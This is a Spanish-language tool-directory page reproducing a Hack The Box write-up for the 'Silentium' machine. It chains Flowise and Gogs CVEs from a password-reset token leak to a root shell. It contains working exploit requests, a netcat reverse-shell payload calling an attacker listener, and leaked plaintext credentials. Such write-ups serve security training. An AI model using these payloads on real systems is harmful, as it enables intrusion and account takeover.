Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Silentium-Writeup — Hack The Box - Writeup de la máquina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 | Kitploit
Herramientas/GitHubGitHub/twappz/htb-silentium-writeup
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebCTFPruebas de PenetraciónAprendizaje y EducaciónEscape de Contenedores
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Writeup de la máquina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

16hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

HTB - Writeup de Silentium

Hack The Box Difficulty OS

Información de la Máquina

  • Nombre: Silentium
  • SO: Linux
  • Dificultad: Fácil
  • CVEs: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

Enumeración

Escaneo con Nmap

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

Puertos abiertos: 22 (SSH), 80 (HTTP)

Hosts virtualesstaging.silentium.htb ejecuta Flowise 3.0.5


Acceso Inicial — RCE en Flowise

CVE-2025-58434 — Fuga del token de restablecimiento de contraseña sin autenticación

El endpoint forgot-password filtra el tempToken directamente en la respuesta de la API.

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Usa el tempToken filtrado para restablecer la contraseña:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — RCE autenticado mediante CustomMCP

Inicia sesión para obtener la clave de API y luego ejecuta el RCE:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Conseguimos una shell dentro del contenedor Docker como root.


Escape del Contenedor

Comprobamos las variables de entorno:

root@kitploit:~
env

Encontramos las credenciales:

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

Conexión SSH al host:

root@kitploit:~
ssh ben@<IP>

Escalada de Privilegios — Gogs CVE-2025-8110

Gogs se ejecuta internamente en el puerto 3001 como root.

Configuramos un túnel SSH:

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

Creamos una cuenta en Gogs a través de http://127.0.0.1:8080 y generamos un token de API.

CVE-2025-8110 — Bypass de symlink en la API PutContents

Usamos el exploit de TYehan:

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

¡Conseguimos una shell como root! 🎉


Banderas

  • Bandera de usuario: /home/ben/user.txt
  • Bandera de root: /root/root.txt

Herramientas Utilizadas

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

Referencias

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110 Añadido a /etc/hosts:
Descargar herramienta